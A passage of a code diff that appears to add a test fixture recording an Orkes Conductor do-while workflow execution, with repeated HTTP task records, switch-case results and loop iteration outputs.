"965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97620dc6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__8", + retryCount: 0, + seq: 34, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858712, + startTime: 1713413858806, + endTime: 1713413858818, + updateTime: 1713413858806, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9785c26a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__9", + retryCount: 0, + seq: 38, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858936, + startTime: 1713413859029, + endTime: 1713413859040, + updateTime: 1713413859029, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97a7c95e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__10", + retryCount: 0, + seq: 42, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413859158, + startTime: 1713413859250, + endTime: 1713413859260, + updateTime: 1713413859250, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97c9d052-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_4: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_4", + retryCount: 0, + seq: 43, + pollCount: 1, + taskDefName: "http_4", + scheduledTime: 1713413859277, + startTime: 1713413859361, + endTime: 1713413859373, + updateTime: 1713413859361, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97dbf8c3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5081, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "yfxgvcpjtxnjlftbtcpr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_4", + taskReferenceName: "http_ref_4", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_4", + retryCount: 0, + seq: 43, + pollCount: 1, + taskDefName: "http_4", + scheduledTime: 1713413859277, + startTime: 1713413859361, + endTime: 1713413859373, + updateTime: 1713413859361, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97dbf8c3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5081, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "yfxgvcpjtxnjlftbtcpr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_4", + taskReferenceName: "http_ref_4", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, + do_while_ref_1: { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref_1", + retryCount: 0, + seq: 44, + pollCount: 0, + taskDefName: "do_while_1", + scheduledTime: 1713413859382, + startTime: 1713413859382, + endTime: 1713413862160, + updateTime: 1713413861832, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97eb8924-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + switch_ref_1: { + evaluationResult: ["2"], + selectedCase: "2", + }, + inline_ref_1: { + result: 2, + }, + http_ref_7: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 154, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "obdruesgtvezidzuenhu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1892, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "heqrbsinaexemndlvmcp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9931, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ktrbhjusvnttizwmopxg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3569, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "rbeetiujrcnurymrqpvl", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8155, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "tniyursobyqwmcgnfxcj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5254, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "fqlewtggkleyvghxoyqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7061, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "ixireilwipqxtseivuxm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5878, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "bksldazxfxhyoyefvrxf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2932, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "djokkjixbuwxlsstoaab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9316, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "dytnpkdddlzmtzlwfpal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8433, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "nwltborbttslioxepwhe", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 242, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "idkvujpflbawjvbtcqol", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5914, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "sccygcowawimarjtitnq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2173, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "saxapbpahdmmtpavvjlm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4359, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "lmbrmrnefvkwwwbmvolm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 395, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "myxiwwnhjbxhdwkfwmzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2885, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ykuzzhmdpvfcragcwxoh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while_1", + taskReferenceName: "do_while_ref_1", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref_1['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + 